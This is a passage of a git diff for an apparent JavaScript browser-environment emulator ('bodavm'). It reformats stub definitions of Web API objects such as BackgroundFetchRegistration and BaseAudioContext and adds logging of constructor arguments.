b/env_xbb_lastest_jsdom/env/BackgroundFetchManager.js @@ -1,6 +1,41 @@ -// BackgroundFetchManager对象 -bodavm.memory.globalobj['BackgroundFetchManager'] = function BackgroundFetchManager(){if (!(this instanceof BackgroundFetchManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BackgroundFetchManager'], "BackgroundFetchManager"); -bodavm.toolsFunc.defineProperty('BackgroundFetchManager', "fetch", {configurable:true, enumerable:true, writable:true, value:function fetch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchManager'].prototype, "BackgroundFetchManager", "fetch", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchManager', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchManager'].prototype, "BackgroundFetchManager", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchManager', "getIds", {configurable:true, enumerable:true, writable:true, value:function getIds (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchManager'].prototype, "BackgroundFetchManager", "getIds", arguments)}},'prototype'); +// BackgroundFetchManager对象 + +bodavm.memory.globalobj['BackgroundFetchManager'] = function BackgroundFetchManager() { + console.log_copy('BackgroundFetchManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BackgroundFetchManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BackgroundFetchManager'], "BackgroundFetchManager"); +bodavm.toolsFunc.defineProperty('BackgroundFetchManager', "fetch", { + configurable: true, + enumerable: true, + writable: true, + value: function fetch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchManager'].prototype, "BackgroundFetchManager", "fetch", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchManager', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchManager'].prototype, "BackgroundFetchManager", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchManager', "getIds", { + configurable: true, + enumerable: true, + writable: true, + value: function getIds() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchManager'].prototype, "BackgroundFetchManager", "getIds", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BackgroundFetchRecord.js b/env_xbb_lastest_jsdom/env/BackgroundFetchRecord.js index 542734c2..017d3d9c 100644 --- a/env_xbb_lastest_jsdom/env/BackgroundFetchRecord.js +++ b/env_xbb_lastest_jsdom/env/BackgroundFetchRecord.js @@ -1,5 +1,33 @@ -// BackgroundFetchRecord对象 -bodavm.memory.globalobj['BackgroundFetchRecord'] = function BackgroundFetchRecord(){if (!(this instanceof BackgroundFetchRecord)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BackgroundFetchRecord'], "BackgroundFetchRecord"); -bodavm.toolsFunc.defineProperty('BackgroundFetchRecord', "request", {configurable:true, enumerable:true, get:function request (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRecord'].prototype, "BackgroundFetchRecord", "request_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRecord', "responseReady", {configurable:true, enumerable:true, get:function responseReady (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRecord'].prototype, "BackgroundFetchRecord", "responseReady_get", arguments)}, set:undefined},'prototype'); +// BackgroundFetchRecord对象 + +bodavm.memory.globalobj['BackgroundFetchRecord'] = function BackgroundFetchRecord() { + console.log_copy('BackgroundFetchRecord 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BackgroundFetchRecord)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BackgroundFetchRecord'], "BackgroundFetchRecord"); +bodavm.toolsFunc.defineProperty('BackgroundFetchRecord', "request", { + configurable: true, + enumerable: true, + get: function request() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRecord'].prototype, "BackgroundFetchRecord", "request_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRecord', "responseReady", { + configurable: true, + enumerable: true, + get: function responseReady() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRecord'].prototype, "BackgroundFetchRecord", "responseReady_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BackgroundFetchRegistration.js b/env_xbb_lastest_jsdom/env/BackgroundFetchRegistration.js index db7289fd..b646ada8 100644 --- a/env_xbb_lastest_jsdom/env/BackgroundFetchRegistration.js +++ b/env_xbb_lastest_jsdom/env/BackgroundFetchRegistration.js @@ -1,17 +1,117 @@ -// BackgroundFetchRegistration对象 -bodavm.memory.globalobj['BackgroundFetchRegistration'] = function BackgroundFetchRegistration(){if (!(this instanceof BackgroundFetchRegistration)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BackgroundFetchRegistration'], "BackgroundFetchRegistration"); -bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['BackgroundFetchRegistration'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "uploadTotal", {configurable:true, enumerable:true, get:function uploadTotal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "uploadTotal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "uploaded", {configurable:true, enumerable:true, get:function uploaded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "uploaded_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "downloadTotal", {configurable:true, enumerable:true, get:function downloadTotal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "downloadTotal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "downloaded", {configurable:true, enumerable:true, get:function downloaded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "downloaded_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "result_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "failureReason", {configurable:true, enumerable:true, get:function failureReason (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "failureReason_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "recordsAvailable", {configurable:true, enumerable:true, get:function recordsAvailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "recordsAvailable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "onprogress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "match", {configurable:true, enumerable:true, writable:true, value:function match (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "match", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "matchAll", {configurable:true, enumerable:true, writable:true, value:function matchAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "matchAll", arguments)}},'prototype'); +// BackgroundFetchRegistration对象 + +bodavm.memory.globalobj['BackgroundFetchRegistration'] = function BackgroundFetchRegistration() { + console.log_copy('BackgroundFetchRegistration 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BackgroundFetchRegistration)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BackgroundFetchRegistration'], "BackgroundFetchRegistration"); +bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['BackgroundFetchRegistration'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "uploadTotal", { + configurable: true, + enumerable: true, + get: function uploadTotal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "uploadTotal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "uploaded", { + configurable: true, + enumerable: true, + get: function uploaded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "uploaded_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "downloadTotal", { + configurable: true, + enumerable: true, + get: function downloadTotal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "downloadTotal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "downloaded", { + configurable: true, + enumerable: true, + get: function downloaded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "downloaded_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "failureReason", { + configurable: true, + enumerable: true, + get: function failureReason() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "failureReason_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "recordsAvailable", { + configurable: true, + enumerable: true, + get: function recordsAvailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "recordsAvailable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "match", { + configurable: true, + enumerable: true, + writable: true, + value: function match() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "match", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "matchAll", { + configurable: true, + enumerable: true, + writable: true, + value: function matchAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "matchAll", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BarProp.js b/env_xbb_lastest_jsdom/env/BarProp.js index 06c671aa..3dadca42 100644 --- a/env_xbb_lastest_jsdom/env/BarProp.js +++ b/env_xbb_lastest_jsdom/env/BarProp.js @@ -1,4 +1,25 @@ -// BarProp对象 -bodavm.memory.globalobj['BarProp'] = function BarProp(){if (!(this instanceof BarProp)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BarProp'], "BarProp"); -bodavm.toolsFunc.defineProperty('BarProp', "visible", {configurable:true, enumerable:true, get:function visible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BarProp'].prototype, "BarProp", "visible_get", arguments)}, set:undefined},'prototype'); +// BarProp对象 + +bodavm.memory.globalobj['BarProp'] = function BarProp() { + console.log_copy('BarProp 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BarProp)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BarProp'], "BarProp"); +bodavm.toolsFunc.defineProperty('BarProp', "visible", { + configurable: true, + enumerable: true, + get: function visible() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BarProp'].prototype, "BarProp", "visible_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BaseAudioContext.js b/env_xbb_lastest_jsdom/env/BaseAudioContext.js index 253aa5ec..7efcf627 100644 --- a/env_xbb_lastest_jsdom/env/BaseAudioContext.js +++ b/env_xbb_lastest_jsdom/env/BaseAudioContext.js @@ -1,31 +1,229 @@ -// BaseAudioContext对象 -bodavm.memory.globalobj['BaseAudioContext'] = function BaseAudioContext(){if (!(this instanceof BaseAudioContext)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BaseAudioContext'], "BaseAudioContext"); -bodavm.memory.globalobj['BaseAudioContext'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['BaseAudioContext'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('BaseAudioContext', "destination", {configurable:true, enumerable:true, get:function destination (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "destination_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "currentTime", {configurable:true, enumerable:true, get:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "currentTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "sampleRate", {configurable:true, enumerable:true, get:function sampleRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "sampleRate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "listener", {configurable:true, enumerable:true, get:function listener (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "listener_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "onstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createAnalyser", {configurable:true, enumerable:true, writable:true, value:function createAnalyser (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createAnalyser", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBiquadFilter", {configurable:true, enumerable:true, writable:true, value:function createBiquadFilter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBiquadFilter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBuffer", {configurable:true, enumerable:true, writable:true, value:function createBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBufferSource", {configurable:true, enumerable:true, writable:true, value:function createBufferSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBufferSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createChannelMerger", {configurable:true, enumerable:true, writable:true, value:function createChannelMerger (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createChannelMerger", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createChannelSplitter", {configurable:true, enumerable:true, writable:true, value:function createChannelSplitter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createChannelSplitter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createConstantSource", {configurable:true, enumerable:true, writable:true, value:function createConstantSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createConstantSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createConvolver", {configurable:true, enumerable:true, writable:true, value:function createConvolver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createConvolver", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createDelay", {configurable:true, enumerable:true, writable:true, value:function createDelay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createDelay", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createDynamicsCompressor", {configurable:true, enumerable:true, writable:true, value:function createDynamicsCompressor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createDynamicsCompressor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createGain", {configurable:true, enumerable:true, writable:true, value:function createGain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createGain", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createIIRFilter", {configurable:true, enumerable:true, writable:true, value:function createIIRFilter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createIIRFilter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createOscillator", {configurable:true, enumerable:true, writable:true, value:function createOscillator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createOscillator", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createPanner", {configurable:true, enumerable:true, writable:true, value:function createPanner (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createPanner", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createPeriodicWave", {configurable:true, enumerable:true, writable:true, value:function createPeriodicWave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createPeriodicWave", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createScriptProcessor", {configurable:true, enumerable:true, writable:true, value:function createScriptProcessor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createScriptProcessor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createStereoPanner", {configurable:true, enumerable:true, writable:true, value:function createStereoPanner (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createStereoPanner", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createWaveShaper", {configurable:true, enumerable:true, writable:true, value:function createWaveShaper (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createWaveShaper", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "decodeAudioData", {configurable:true, enumerable:true, writable:true, value:function decodeAudioData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "decodeAudioData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "audioWorklet", {configurable:true, enumerable:true, get:function audioWorklet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "audioWorklet_get", arguments)}, set:undefined},'prototype'); +// BaseAudioContext对象 + +bodavm.memory.globalobj['BaseAudioContext'] = function BaseAudioContext() { + console.log_copy('BaseAudioContext 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BaseAudioContext)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BaseAudioContext'], "BaseAudioContext"); +bodavm.memory.globalobj['BaseAudioContext'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['BaseAudioContext'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BaseAudioContext', "destination", { + configurable: true, + enumerable: true, + get: function destination() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "destination_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "currentTime", { + configurable: true, + enumerable: true, + get: function currentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "currentTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "sampleRate", { + configurable: true, + enumerable: true, + get: function sampleRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "sampleRate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "listener", { + configurable: true, + enumerable: true, + get: function listener() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "listener_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "onstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createAnalyser", { + configurable: true, + enumerable: true, + writable: true, + value: function createAnalyser() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createAnalyser", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBiquadFilter", { + configurable: true, + enumerable: true, + writable: true, + value: function createBiquadFilter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBiquadFilter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBufferSource", { + configurable: true, + enumerable: true, + writable: true, + value: function createBufferSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBufferSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createChannelMerger", { + configurable: true, + enumerable: true, + writable: true, + value: function createChannelMerger() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createChannelMerger", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createChannelSplitter", { + configurable: true, + enumerable: true, + writable: true, + value: function createChannelSplitter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createChannelSplitter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createConstantSource", { + configurable: true, + enumerable: true, + writable: true, + value: function createConstantSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createConstantSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createConvolver", { + configurable: true, + enumerable: true, + writable: true, + value: function createConvolver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createConvolver", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createDelay", { + configurable: true, + enumerable: true, + 